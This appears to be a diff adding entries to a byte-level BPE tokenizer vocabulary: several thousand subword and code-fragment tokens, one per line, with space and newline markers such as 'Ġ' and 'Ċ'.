+Ġexample +imary +Ġwr +Ġcamp +cribe +"/ +Ġmiss +way +Ġbased +Ġplan +Vis +omain +unk +Ġaway +UP + +Ġden +obile +change +ĠĠĠĠĠĠĠĠĠĠĠĠĊ +ici +na +ĠForm +Ġsort +Select +pare +Ġthought +_con +Ġtask +ocus +ĠDE +ĠMin +Ġopt +ĉbreak +umer +KE +then +Ġdet +ĠTest +ports +Ġreview +('/ +move +Ġswitch +ERT +patch +annot +ãĤ +Ġabove +itive +Ġquestion +ĠQu +ãĢĤĊĊ +gle +Ġword +Ġprovide +ĠReturn +Ġresearch +ão +ustr +Ġpublish +chema +}} +ĠCON +-in +allback +Ġcover +\\ +color +ĠIS +Ġwhether +imate +isc +Bar +Ġdiv +Be +ourn +Ġhaving +lem +player +abs +amera +ney +Ġexc +gether +plied +ao +[$ +Ġ++ +ipe +show +/d +[: +agement +lev +_ID +rary +ades +_se +ause +Ġemploy +Ġ*/čĊ +Ġfre +Ġ'@ +Ġcomplet +Ġlarge +ral +\x +Ġfac +> +Ġface +CTION +Ġsave +Ġtyp +dev +("# +AGE +container +edit +QL +Ġitems +Ġsocial +ien +ĠReact +).ĊĊ +Ġmar +Ġredu +ĠRE +.put +Ġmajor +Cell +next +Ġexpected +Ġyet +Ġindiv +tributes +atis +amed +Ġfood +Source +(string +Ġ+Ċ +ites +dr +Ġmembers +Ġcomb +items +ĠPer +TH +=True +Ġbar +_SE +comm +(w +)ĊĊĊ +Ġsend +Ġinc +unsigned +FA +Ġparams +apping +ros +ugin +fa +Ġconnection +Ġ};ĊĊ +Ġbecome +Mode +Ġev +Ġdiff +ĠUnited +Height +fully +images +Ġmakes +Ġglobal +Ġcontact +':Ċ +Ġabs +аР+float +Ġexcept +ĠPol +Child +typ +Ġcertain +ión +OUT +Ġimpro +iles +Ġ-->Ċ +ĠPart +values +oss +/** +ilit +ĠEvent +curity +ster +Ġcharacter +Ġnews +Ġ", +Ġdevice +cel +login +heet +Default +@" +ĉĠ +click +(value +ĠAb +Ġprevious +ERROR +ocal +Ġmaterial +Ġbelow +ĠChrist +Ġmedia +cover +ĠUI +Ġfail +Ġblack +Ġcomponent +ĠAmerican +Ġadded +Ġbuy +stit +Ġcame +Ġdelete +property +oding +Ġcard +rops +Ġhttps +Ġroot +Ġhandle +CC +Back +emplate +Ġgetting +_by +mail +_sh +.assert +ĠDec +(true +Ġcomput +Ġclaim +'=> +ĠSub +Ġair +ops +nav +ements +(id +Ġenter +anged +End +Ġlocation +Ġnight +Ġdoing +ĠRed +lin +}ĊĊĊ +vider +Ġpick +Ġwatch +essages +Ġhuman +Ġdam +pend +dir +Ġtax +Ġgirl +reet +Ġbox +Ġstrong +(v +rel +Ġinterface +Ġmsg +fect +_at +Ġhouse +Ġtrack +');ĊĊ +je +ĠJohn +istr +(S +ube +Ġce +itted +VER +*) +parent +Ġapplication +any +.swing +Ġpack +\u +Ġpract +Ġsection +ctx +Ġunsigned +.Point +ĠOne +ı +iple +aid +Ñĥ +Vector +byte +Ġwait +ĠÃł +Ã¥ +Ġtogether +Ġthrows +FO +')) +host +ising +.view +Ġterms +framework +-r +Ġapply +Ġsession +Options +uggest +Ġothers +witter +Ġfund +Init +__( +ensor +GET +Ġseveral +ii +[j +IO +Ġtemplate +Position +Ġecon +achine +Ġil +.spring +main +elt +iment +Rec +mm +ĠUniversity +ursor +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +GL +icture +ithub +cer +cast +From +ales +Ġsubject +password +ny +Ġesc +.write +ï¼Į +What +.H +Ġhistory +ĠFe +Ġindividual +unit +Ġ--> +Ġdu +IST +Ġusers +fs +false +unt +Title +Ġmot +Ġfuture +ached +Ġstarted +Ġmode +Ġ'< +_array +Ġax +'];Ċ +ires +There +ught +tml +posed +icult +Ġtook +Ġgames +Ġ}} +Ġ?>Ċ +Ġproducts +Is +Ġbad +ĠDes +.path +'ĊĊ +ĠPost +avel +(: +Ġneeds +Ġknown +Fl +Ġexec +Ġseen +ume +Ġborder +Ġlive +temp +Per +Ġvariable +iet +ĠDef +Ġge +eme +_back +first +Ġprovided +//////////////////////////////// +Ġfilename +Ġhope +uly +auto +find +_string +btn +itude +Attribute +Ġyoung +.txt +Ġwebsite +ĠProp +Ġey +>();Ċ +ional +ARR +ictionary +urther +. +tx +Ġpur +uel +ymbol +uation +anger +Ġbackground +ecess +efined +........ +Ġdescription +Ġrepresent +"));Ċ +pression +rowser +Ġseries +wards +($_ +aise +Ġhot +acity +ries +actions +Create +adio +amples +Ġoriginal +ensive +font +stream +using +.springframework +server +Ġbill +ACK +ilename +Ġframe +Ġ=Ċ +Edit +adius +Ġdraw +anks +Ġdeter +Ġcomes +_int +Ġforeach +angle +Ġelect +pected +Header +istration +False +ĠGame +Ġfilter +Activity +Ġlarg +inition +Ġ"< +ised +Ġremove +ĠTrans +met +see +Format +Command +ĠEX +None +Ġfront +ASE +ĠRec +oundation +Ġvo +=\" +(* +Change +.Write +group +ients +uy +**************************************************************** +Ġdig +hr +(- +Ġgen +number +vec +urope +entry +LL +Ġste +Valid +'], +_param +Ġselected +Ġaccording +ĠDis +Ġutil +Buffer +_error +Ġassoci +_SIZE +Ġwor +Ġprintf +rag +Âł +DD +ĠVal +Ġactiv +Eng +etime +Ġvirtual +aign +aur +ĠPres +ĠException +Ġanything +ĠOff +Ġhours +Ġwar +Args +aging +Ġmodels +ĠTime +Ob +ams +joy +Ġearly +.read +Ġcenter +ĠInitial +Ġlanguage +length +xy +Ġsn +Ġinf +Post +Ġago +Ġeasy +_code +ĠANY +_ch +Ġdownload +(T +aved +âĢĵ +Ġstudents +Ġfig +light +xx +Ġbuffer +ĠDep +ĠMath +ITH +Ġvari +Ġdue +Factory +Ġpor +Ġep +otype +Ġcannot +Ġwhite +čĊ +.annot +Ġcollection +'. +Ġsimilar +Ġtaken +("% +Order +']Ċ +-md +ĠTH +aced +Ġisn +/j +Ġson +graph +ĠInteger +Ġnecess +reen +Ġum +Ġ\< +Ġmoment +Ġbring +Ġindic +ysis +Level +verse +urrenc +_test +Ġentire +Down +Ġ}ĊĊĊ +(result +ĠRead +è +Mod +Ġtrying +"),Ċ +Ġmember +ĠCor +ODO +-control +untime +ĠSim +Dialog +plot +_on +Ġphys +}/ +Ġnamespace +ĉčĊ +acc +Player +ARE +Ġfoot +Ġboard +part +Ġsus +wise +ĠMc +Ġpush +ATA +Ġplease +ried +weet +bit +ided +VE +ĠSw +UB +Ġtypes +edia +Ġclos +acebook +When +Ġedit +igger +Ġenerg +Container +Ġphot +ĠCount +ĠEurope +.Is +ĠRuss +peed +ĠStr +Ġpy +Ġcult +Ġdefined +ccount +Ġobt +.Location +Ġthread +ille +Ġinstead +strong +ĠSec +URE +Ġidea +.se +emy +selected +Connection +acing +thread +.next +Ġcoll +Ġfilm +istic +Ġcompet +Ġconn +though +Ġcompan +ocket +Ġteach +=( +Ġphone +Ġactive +delete +tries +Ġmo +Ġdeath +});ĊĊ +ocol +Widget +Ġarticle +rodu +andid +Ñĭ +ĠCr +ka +(): +lood +ĉĉĉĊ +Ġalmost +Ġsell +ervlet +rip +Unit +Ġapplic +Ġconnect +Ġfeature +Ġvia +'), +Ġlim +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +ĠGu +Engine +Ġens +Ġenvironment +block +HERE +NULL +gy +tag +)). +exp +Ġcompl +Ġinstall +Ġcomplete +queue +atural +Ġgeneral +thon +Ġasked +ores +(res +Ġreserved +SP +Ġâ̦ +ÅĤ +Ġsignific +Off +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +ĠAg +ĠJust +ĠError +Ġinfl +adata +Ġicon +asks +'' +_LO +?. +account +Ġ(* +')ĊĊ +rap +_var +ĠFOR +Ġparty +ĠYour +cat +stry +.new +boot +ĠNov +Ġvector +Ġnormal +Ġfurther +Repository +Ġdatabase +attle +Ġmusic +Ġspeed +Ġdoc +process +IGHT +.parse +Ġtaking +Ġviol +ceed +ĠAfter +Ġforward +Ġcrit +"/>Ċ +rot +Ġfailed +efore +Ġconcern +oe +ba +Ġsender +Ġterm +has +="# +Ġpotential +Num +Ġpublished +.close +ĠImage +straint +UD +ĠOb +Ġprobably +lim +":Ċ +olume +Ġconsum +ague +ensions +Ġinvestig +-year +'); +-sm +Ġenjoy +orig +ering +cp +leased +plements +Ġreturns +pat +BO +ĠHouse +.Label +Ġweight +ighb +Ġconditions +Ġexception +description +Ġtrad +-to +Ġ{} +Ġmodule +END +.ap +.props +Ġconstructor +aves +Ġfavor +ĠNow +;i +ĠMain +_k +eries +âĢĻll +transform +imestamp +Pre +Ġmer +.res +stant +Location +_NAME +Ġloss +ĠĊĊ +net +Ġengine +Block +Ġissues +Ġparse +ĠBar +Ġstay +ĠJSON +Ġdom +airs +wner +Ġlower +",čĊ +ĠDem +ufact +Ġps +Ġperfect +RL +Ġeduc +ls +emory +ARRANT +uge +Ġexact +.key +alled +ech +ief +\/ +oke +Ġformer +alloc +Ġsix +ida +Ġmargin +Ġheart +ald +pack +.getElementById +ĠWARRANT +Ġrather +Ġbuilding +erman +lice +Ġquestions +izes +lege +irectory +Ġje +Ġcas +props +utf +Ġsecurity +Ġhowever +weight +Ġinside +Ġpresident +Char +ĠWITH +.map +Ġgraph +Ġtag +_status +Ġattempt +opp +uses +ĉconst +Ġround +,$ +Ġfriends +Email +?> +Resource +KEY +osp +.query +ĠNorth +ables +istrib +_class +ello +That +к +pecially +ĠPresident +Ġcampaign +Ġalt +area +Ġchall +Ġopport +.Con +Ġenergy +like +.string +ington +)* +yy +Ġprofession +irth +Ġseg +æľ +Ġhor +iers +can +Ġbehind +Product +fg +ĠSk +.jpg +?: +];ĊĊ +Ġcallback +ĠHttp +ÑĮ +long +MS +ATH +Ġraise +Ġwanted +rown +utor +lt +]= +eline +MA +Ġsepar +cs +semb +Dis +bserv +ĠWill +Ġpolicy +Ġthird +phone +Ġbed +/g +.__ +ĠInc +izing +.remove +instance +.type +Ġserv +Each +Ġhar +ĠMessage +(key +SELECT +Pos +));čĊ +Ġrecomm +Ġtraining +ĠEnt +ĠChar +icht +(file +Ġprior +Game +Ġexit +Params +.core +PC +nes +anced +(request +Password +}>Ċ +Ġmag +Ġrelease +Ġshall +udent +ĠSouth +ando +:' +.TabIndex +sk +anner +isset +Ġoutside +ledge +Ġå +ĠRob +Ġimm +!Ċ +ĠWeb +Des +BC +ancial +Route +Dec +ferences +Ġpurch +ĠModel +ctor +gn +_start +_un +.* +ises +Ġground +Ġunique +Ġbeaut +{" +Ġpour +ĠOct +Ġtree +sets +_res +')-> +_reg +("\ +Ġbyte +Bl +Ġdating +Ġmatter +ĠRem +Ġ'../ +ĠAug +ĠLa +Ġ$( +ournal +iam +Ġshows +write +Ġball +Ġsimply +Ġfast +Ġmemory +ASS +ĠOf +oved +ante +aul +istry +)));Ċ +Ġfit +_ +")ĊĊ +ox +application +Ġ]Ċ +ĊĊĊĊĊĊ +Ġsoon +ctions +inger +Ġjoin +ĠPe +Ġë +Ġlas +.E +css +/or +ĠStart +ĠTO +Ġsubs +conn +components +DEBUG +quare +Function +endar +.index +Ġfill +ÄĻ +Ġchoose +how +ĠAmerica +assets +------------ +ĠValue +Ġoffice +Ġveh +Ġtransform +ĠArt +Ġinde +Ġfn +Ġimplements +ango +plete ++" +tmp +amily +Ġhash +missions +EST +gt +Provider +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Ġflag +Ġparticip +den +ĠReturns +Ġnote +ür +pm +ideos +Ġspecified +ĠEN +ester +olid +Ġupon +(std +ĉv +Ġ'\ +uz +Ġvert +Ġvict +ĉself +Ġ"$ +.k +Ġgroups +github +lang +Ġmut +TO +Ġve +ĠPlease +;ĊĊĊ +access +Ġ{" +rea +Ġrisk +icker +oggle +ĉwhile +ANG +.send +Ġwoman +Ġgets +Ġign +ĠId +_log +ONE +Ġevid +ĠHar +_sub +Ġendl +Ġincluded +());ĊĊ +ĠAp +igr +Ġsem +ĠBlack +doc +_table +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +-up +Ġcause +Ġ.. +Ġvan +_dict +Ġfocus +IND +CESS +.Log +Ġmultiple +ido +Ġregard +-M +andler +ourse +Ġdeg +.U +Ġaddition +Ġvarious +Ġreceive +ен +ĠHT +Obj +DF +Ġincrease +ĠOpen +]; +Ġcommit +?Ċ +ategories +atory +ship +ĠMich +Ġhtml +romise +Ġleave +Ġstrateg +aven +ĠConsole +known +-n +_LE +.component +Ġbre +Session +iance +Ġalign +typedef +_result +ĠWHERE +.split +Ġreading +FAULT +Ġclo +Ġnotice +_pr +arter +Ġlock +Ġstandard +etic +ellow +Ġpadding +ĠHis +Ġstates +_cast +(P +aa +Ġinternal +ean +ĠPRO +ĠKey +Ġespecially +ming +Ġcross +Ġnational +_object +filter +Ġscript +.update +_i +ĠAssert +/core +%%%% +Ġproblems +istor +Ġ.= +Ġarch +Ġwritten +Ġmilit +MENT +.ch +cape +ĠMus +_config +ĠAPI +foot +Ġimages +endl +.In +First +Ġplatform +.prot +Option +ste +ĠTODO +Ġforce +.cont +ĉecho +ĠDav +Ptr +(B +RT +ĠBase +][' +Ġannounc +console +ĠPy +ds +.as +Ġprevent +apan +Ġ{' +}' +Ġdead +VAL +QUE +************************************************************************ +Ġcharg +Return +Ġful +dom +Ġrules +Ġmodify +Ġeval +ham +atement +\< +ula +=False +RA +Ġcontains +Ġstack +mar +Ġ{}Ċ +Ġundefined +Ass +ĠChina +vey +*Ċ +Ġplaying +)/ +actor +Ġbottom +lier +ĠNumber +Ġcouple +DC +ĠSO +gor +.setText +success +command +Filter +ĠOur +_item +Ġctx +Ġroad +Version +case +urt +avior +ych +sembly +ĠProduct +Ġheld +afe +Ġincludes +Ċ +ĠGo +@Override +REF +Ġip +ĠAustral +Ġist +ViewById +Ġserious +Ġcustomer +.prototype +odo +cor +Ġdoor +ĠWITHOUT +Ġplant +Ġbegan +Ġdistance +()). +Ġchance +Ġord +came +pragma +Ġprotect +ragment +ĠNode +ening +Ñĩ +Ġroute +ĠSchool +hi +Ġneighb +After +licit +Ġcontr +Ġprimary +AA +.WriteLine +utils +Ġbi +Red +.Linq +.object +Ġleaders +unities +Ġgun +onth +ĠDev +FILE +Ġcomments +_len +arrow +amount +Range +sert +GridView +Ġupdated +ĠMo +Ġinform +ociety +ala +Access +Ġhab +Ġcreat +_arg +ĠJanuary +ĠDay +")čĊ +uple +document +gorith +menu +ĠOver +bb +.title +_out +Ġled +uri +Ġ?>Ċ +run +Ġscene +(array +device +_title +agon +]čĊ +aby +Ġbecame +boolean +Ġpark +ĠCode +upload +riday +ĠSeptember +Fe +Ġsen +cing +FL +Col +uts +_page +inn +Ġimplied +aling +Ġyourself +.Count +conf +Ġaud +_init +.) +Ġwrote +NG +.Error +ä» +.for +Ġequal +ĠRequest +Ġserial +Ġallows +XX +Ġmiddle +chor +ø +erval +.Column +reading +Ġescort +ĠAugust +Ġquickly +Ġweap +ĠCG +ropri +ho +Ġcop +(struct +ĠBig +Ġvs +Ġfrequ +.Value +Ġactions +Ġproper +Ġinn +Ġobjects +Ġmatrix +avascript +Ġones +.group +Ġgreen +Ġpaint +ools +ycl +encode +olt +comment +.api +Dir +Ġune +izont +.position +Ġdesigned +_val +avi +iring +tab +Ġlayer +Ġviews +Ġreve +rael +ĠON +rics +np +Ġcore +());čĊ +Main +Ġexpert +ĉĉčĊ +_en +Ġ/> +utter +IAL +ails +ĠKing +*/ĊĊ +ĠMet +_end +addr +ora +Ġir +Min +Ġsurpr +Ġrepe +Ġdirectory +PUT +-S +Ġelection +haps +.pre +cm +Values +Ġ"Ċ +column +ivil +Login +inue +Ġbeautiful +Ġsecret +(event +Ġchat +ums +Ġorigin +Ġeffects +Ġmanagement +illa +tk +Ġsetting +ĠCour +Ġmassage +ĉend +Ġhappy +Ġfinish +Ġcamera +ĠVer +ĠDemocr +ĠHer +(Q +cons +ita +Ġ'. +{} +ĉC +Ġstuff +Ġ:Ċ +ĠAR +Task +hidden +eros +IGN +atio +ĠHealth +olute +Enter +'> +ĠTwitter +ĠCounty +scribe +Ġ=>Ċ +Ġhy +fit +Ġmilitary +Ġsale +required +non +bootstrap +hold +rim +-old +ĠDown +Ġmention +contact +_group +oday +Ġtown +Ġsolution +uate +elling +]-> +otes +ental +omen +ospital +ĠSup +_EN +Ġslow +SESSION +Ġblue +ago +Ġlives +Ġ^ +.un +inst +enge +Ġcustomers +Ġcast +udget +ï¼ģ +icens +Ġdetermin +Selected +_pl +ueue +Ġdark +//ĊĊ +si +thern +ĠJapan +/w +PU +ĠEast +ovie +Ġpackage +Ġnor +Ġapi +bot +"];Ċ +_post +ulate +Ġclub +'));Ċ +Ġloop +PIO +ione +shot +Initial +Ġplayed +register +rought +_max +acement +match +raphics +AST +Ġexisting +Ġcomplex +DA +.Ch +.common +mo +Ġ'../../ +ito +Ġanalysis +Ġdeliver +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĊ +idx +Ãł +ongo +ĠEnglish +Ċ +_default +ĠDatabase +rep +ESS +nergy +.Find +_mask +Ġrise +Ġkernel +::$ +.Q +Ġoffering +decl +ĠCS +Ġlisted +Ġmostly +enger +Ġblocks +olo +Ġgoverning +\F +Ġconcent +.getText +Ġmb +Ġoccurred +Ġchanging +Scene +_CODE +Beh +"The +Ġtile +ĠAssociation +ĉP +alty +_ad +odies +iated +Ġprepared +possible +Ġmort +TEST +Ġignore +Ġcalc +Ġrs +ĠassertEquals +Ġsz +ĠTHIS +."Ċ +Ġcanvas +java +Ġdut +VALID +.sql +.input +Ġaux +Sup +Ġartist +Vec +_TIME +.stringify +etween +ĠCategory +Ġ[- +ĠDevExpress +ĠJul +Ġring +.ed +YY +Let +TextField +Ġflat +_print +ĠOTHER +adian +Ġchecked +ele +Align +standing +Ġ[], +Ġlab +ucky +ĠChristmas +(image +.module +Ġlots +Ġslightly +(final +erge +è¿ +ĠPolice +ĠRight +Ġaward +ĠOS +Ġ{}ĊĊ +Ġptr +oves +icated +ем +Ġmanage +oliday +Amount +oolStrip +tbody +Nav +wrap +BB +Ġwatching +arios +Ġoptional +_K +ĠLicensed +.Map +Timer +ĠAP +ĠRev +(o +,c +umin +etailed +ĠHy +Ġblank +agger +ĠSelf +()[ +.make +earn +channel +
;Ċ
+World
+Ġpython
+Ġlif
+Ġtrav
+Ġconven
+company
+ĠClub
+Ver
+Btn
+Ġzone
+products
+ĠEduc
+Ġverify
+ĠMil
+ono
+]);ĊĊ
+ENCE
+Ġpacket
+Ġcer
+Ġenumer
+Ġpars
+formed
+Ġoccup
+tre
+Ġexercise
+Day
+_sum
+Ġasking
+aption
+Ġorders
+Ġspending
+ĠERR
+.Dis
+ĠUtil
+âĢľI
+\'
+?)
+/>Ċ
+Ġemot
+Ġinfluence
+ĠAfrica
+atters
+Ùħ
+.session
+Ġchief
+ĉĉĉĉĉĉĉĉĉĉĉ
+Ġtom
+cluded
+serial
+_handler
+.Type
+aped
+Ġpolicies
+-ex
+-tr
+blank
+merce
+Ġcoverage
+Ġrc
+_matrix
+_box
+Ġcharges
+ĠBoston
+Pe
+Ġcircum
+Ġfilled
+Ġnorth
+ictureBox
+ĉres
+è®
+Ġtermin
+Ġ[â̦
+IRECT
+Ġber
+Ġ"../../
+retch
+.code
+_col
+ĠGovernment
+Ġargv
+ĠLord
+asi
+Exec
+ĉlet
+vertis
+Ġdiscussion
+enance
+outube
+typeof
+Ġserved
+ĠPut
+ĉx
+Ġsweet
+Before
+ategy
+.of
+ĠMaterial
+Sort
+ONT
+igital
+Why
+Ġsust
+Ġç
+abet
+Ġsegment
+Ġ[],Ċ
+ĠMuslim
+ĠfindViewById
+cut
+_TEXT
+ĠMary
+Ġloved
+Ġlie
+ĠJO
+Ġisset
+month
+Ġprime
+ti
+ĠCarol
+Use
+ĠPop
+ĠSave
+Interval
+execute
+dy
+ĠIran
+_cont
+ĉT
+Ġphase
+checkbox
+week
+Ġhide
+Ġtil
+Ġju
+Custom
+burg
+/M
+TON
+Ġquant
+Ġrub
+ixels
+Ġinstalled
+Ġdump
+Ġproperly
+(List
+Ġdecide
+apply
+Has
+Ġkeeping
+Ġcitizens
+Ġjoint
+pool
+Socket
+_op
+Ġweapon
+gnore
+ĠExec
+otten
+ĠMS
+Ġ(-
+ĠReview
+Ġexamples
+Ġtight
+!(
+DP
+ĠMessageBox
+Ġphotograph
+URI
+ét
+low
+ĠGrand
+.persistence
+Ġmaintain
+Ġnums
+Ġzip
+ials
+ĠGets
+peg
+ĠBuffer
+~~~~
+rastructure
+ĠPL
+uen
+obby
+sizeof
+Ġpic
+Ġseed
+Ġexperienced
+Ġodd
+Ġkick
+Ġprocedure
+avigator
+-on
+,j
+ĠAlthough
+ĠuserId
+accept
+Blue
+IColor
+layer
+available
+Ġends
+.table
+Ġdataset
+bus
+Ġexplain
+(pro
+ĠCommittee
+Ġnoted
+]:Ċ
+Dim
+stdio
+.",Ċ
+_source
+ĠWeek
+ĠEdge
+Ġoperating
+Ġeste
+ipl
+agination
+Ġproceed
+Ġanimation
+.Models
+ĠWatch
+iat
+Ġoppon
+/A
+Report
+Ġsounds
+_buf
+IELD
+Ġbund
+ĉget
+.pr
+(tmp
+Ġkid
+>ĊĊĊ
+Ġyang
+NotFound
+ÑĨ
+math
+@gmail
+ĠLIMIT
+redients
+Ġvent
+avigate
+Look
+Ġreligious
+Ġrand
+rio
+(GL
+_ip
+uan
+iciency
+ĠChange
+>čĊčĊ
+ĠEntity
+Ġrencontre
+ĠRet
+plan
+én
+BOOL
+uries
+train
+Definition
+============
+zz
+Animation
+ĠOK
+_menu
+.bl
+_score
+Ġacad
+(System
+Ġrefresh
+'=>$
+.Graphics
+amento
+pid
+tc
+Ġtips
+Ġhomes
+Ġfuel
+âĸ
+_helper
+ĠĠčĊ
+ĠRoom
+.Close
+_attr
+ĠMount
+ĠEv
+arser
+_top
+eah
+ĠDelete
+ãĢį
+uke
+Ġusage
+aria
+_dev
+Ġtexture
+Ġconversation
+eper
+Bean
+done
+nonatomic
+ĠSecond
+Ġshooting
+_pre
+Components
+Ġ]ĊĊ
+__,
+stitution
+.Char
+>();ĊĊ
+Ġpresented
+Ġwa
+oker
+-ĊĊ
+iner
+Ġbecoming
+Ġincident
+Att
+Ġrevealed
+forc
+Ġboot
+.page
+Enumerator
+_->
+Photo
+Ġspring
+.",
+ĠDictionary
+BJECT
+Ġlocations
+Ġsamples
+InputStream
+ĠBrown
+Ġstats
+quality
+Ñħ
+-dis
+Ġhelping
+Ġped
+(se
+ĠWho
+alian
+internal
+Ġft
+>().
+->{
+Ġmine
+Ġsector
+Ġgro
+Ġopportunities
+Ġü
+Ġmp
+Ġalleged
+Ġdoubt
+Mouse
+About
+_part
+Ġchair
+Ġstopped
+loop
+entities
+Ġapps
+ansion
+Ġmental
+ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ
+FR
+Ġdefend
+care
+Ġideal
+/api
+urface
+Ġele
+ulator
+ĠRights
+anguages
+Ġfunds
+Ġadapt
+Attributes
+Ġdeploy
+opts
+Ġvalidation
+Ġconcerns
+uce
+.num
+ulture
+ila
+Ġcup
+Ġpure
+.Fore
+ĠHashMap
+.valueOf
+asm
+MO
+Ġcs
+Ġstores
+Ġ************************************************************************
+Ġcommunication
+mem
+.EventHandler
+.Status
+_right
+.setOn
+Sheet
+Ġidentify
+enerated
+ordered
+Ġ"[
+Ġswe
+Condition
+ĠAccording
+Ġprepare
+Ġrob
+Pool
+Ġsport
+rv
+ĠRouter
+Ġalternative
+([]
+ĠChicago
+ipher
+ische
+ĠDirector
+kl
+ĠWil
+keys
+Ġmysql
+Ġwelcome
+king
+ĠManager
+Ġcaught
+)}Ċ
+Score
+_PR
+Ġsurvey
+hab
+Headers
+ADER
+Ġdecor
+Ġturns
+Ġradius
+errupt
+Cor
+Ġmel
+Ġintr
+(q
+ĠAC
+amos
+MAX
+ĠGrid
+ĠJesus
+ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ
+.DE
+Ġts
+Ġlinked
+free
+ĠQt
+Ġ/**čĊ
+Ġfaster
+ctr
+_J
+DT
+.Check
+Ġcombination
+Ġintended
+-the
+-type
+ectors
+ami
+uting
+Ġuma
+XML
+UCT
+Ap
+ĠRandom
+Ġran
+.sort
+Ġsorted
+.Un
+_PER
+itory
+Ġpriority
+ĠGal
+ĠOld
+hot
+ĠDisplay
+(sub
+_TH
+_Y
+ĠCare
+loading
+Kind
+_handle
+,,
+rase
+_replace
+.addEventListener
+ĠRT
+Ġentered
+gers
+Ġich
+(start
+/app
+Ġbrother
+Memory
+Outlet
+Ġutf
+prec
+Ġnavigation
+ORK
+Ġdst
+Detail
+Ġaudience
+Ġdur
+Ġcluster
+unched
+Ġ],
+Ġcomfortable
+.values
+ĠTotal
+Ġsnap
+Ġstandards
+Ġperformed
+hand
+("@
+åŃ
+Ġphil
+ibr
+trim
+Ġforget
+Ġdoctor
+.TextBox
+icons
+,s
+ĠOp
+Sm
+Stop
+ĉList
+ĉu
+Comment
+_VERSION
+.Xtra
+Person
+rb
+LOB
+ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĊ
+ĠCentral
+ICK
+raq
+Ġputting
+Ġmd
+ĠLove
+Program
+Border
+oor
+Ġallowing
+after
+Ġentries
+ĠMaybe
+]).
+ĠShort
+)\
+.now
+friend
+Ġprefer
+ĠGPIO
+osis
+ĠGameObject
+Ġskip
+Ġcompetition
+_match
+lications
+_CONT
+.groupBox
+Ġals
+"We
+_eq
+lan
+_search
+ĠMusic
+asis
+Ġbind
+ĠIsland
+rum
+(E
+Ġseat
+Video
+Ġack
+reek
+={()
+Ġrating
+Ġrestaurant
+DEX
+(buf
+pping
+uality
+Ġleague
+Ġfocused
+apon
+$data
+CLUD
+CLUDING
+Ġabsolute
+(query
+Ġtells
+Ang
+Ġcommunities
+Ġhonest
+oking
+Ġapart
+arity
+/$
+_module
+ĠEnc
+.an
+.Config
+Cre
+Ġshock
+ĠArab
+IENT
+/re
+Ġretrie
+ycler
+isa
+ĠOrgan
+.graph
+Ġí
+ĠBAS
+Enum
+Ġpossibly
+ÑĢаÐ
+ĠJapanese
+Ġcraft
+ĠPlace
+Ġtalent
+Ġfunding
+Ġconfirmed
+Ġcycle
+/x
+GE
+Ġhearing
+Ġplants
+Ġmouth
+pages
+oria
+ĠRemove
+_total
+Ġod
+ollapse
+door
+Ġbought
+Ġaddr
+ARCH
+_dim
+dden
+Ġdecades
+REQUEST
+Ġversions
+fire
+Ġmoves
+fb
+Ġcoffee
+.connect
+ĠRow
+Ġschema
+Scope
+-Type
+Ġfighting
+Ġretail
+Ġmodified
+TF
+Files
+nie
+_command
+stone
+ĠÑĤ
+_thread
+Ġbond
+ĠDevelopment
+Ġpt
+FORM
+plet
+Ġidentified
+cpp
+Ġcoding
+oked
+ĠMaster
+IDTH
+Ġresidents
+redit
+ĠPhoto
+=-
+unte
+ateur
+_STATE
+ĠSing
+Ġsheet
+.val
+orse
+Ġhers
+Ġdetermined
+Common
+Ġwed
+_queue
+PH
+ĠAtl
+cred
+/LICENSE
+Ġmes
+Ġadvanced
+.java
+.Sh
+Go
+kill
+fp
+_settings
+Ġpal
+Ġtruck
+Ġcombined
+Ġ"${
+ĠCorpor
+Ġjoined
+ĠJose
+ĠCup
+uns
+estival
+levision
+Ġbroken
+Ġmarriage
+ĠWestern
+Ġrepresents
+ĠTitle
+Ġss
+.Ass
+ongoose
+iento
+<>();Ċ
+Ġabsolutely
+Ġsmooth
+TERN
+ĠUnless
+Word
+Ġmerge
+igan
+ĠVol
+Ġnn
+.getId
+Ġз
+Ġsexy
+Ġseeking
+Single
+.this
+Ġkom
+bound
+;"
+ĠfontSize
+_df
+Ġinjury
+(H
+Ġissued
+_END
+:self
+Ġpatch
+Ġleaves
+Ġadopt
+FileName
+ãĢIJ
+Ġexecutive
+ĠByte
+]))Ċ
+Ġnu
+outing
+cluding
+-R
+.options
+Ġsubstant
+avax
+ĠBUT
+Ġtechnical
+Ġtwice
+Ġmás
+Ġunivers
+yr
+Ġdrag
+ĠDC
+Ġsed
+Ġbot
+ĠPal
+ĠHall
+forcement
+Ġauch
+.mod
+notation
+_files
+.line
+_flag
+[name
+Ġresolution
+Ġbott
+("[
+ende
+(arr
+Free
+(@"
+ĠDistrict
+PEC
+:-
+Picker
+ĠJo
+ĠĠĠĠĠĊ
+ĠRiver
+_rows
+Ġhelpful
+Ġmassive
+---Ċ
+Ġmeasures
+ĠRuntime
+Ġworry
+ĠSpec
+ĉD
+ãĢij
+Ġ){Ċ
+Ġworse
+(filename
+Ġlay
+Ġmagic
+ĠTheir
+oul
+stroy
+ĠWhere
+Ġsudden
+Ġdefe
+Ġbinding
+Ġflight
+ĠOnInit
+ĠWomen
+ĠPolicy
+Ġdrugs
+ishing
+('../
+ĠMel
+peat
+tor
+Ġproposed
+Ġstated
+_RES
+Ġeast
+ĠCONDITION
+_desc
+Ġwinning
+folio
+Mapper
+ĠPan
+ĠAnge
+.servlet
+Ġcopies
+LM
+Ġvm
+åį
+Ġdictionary
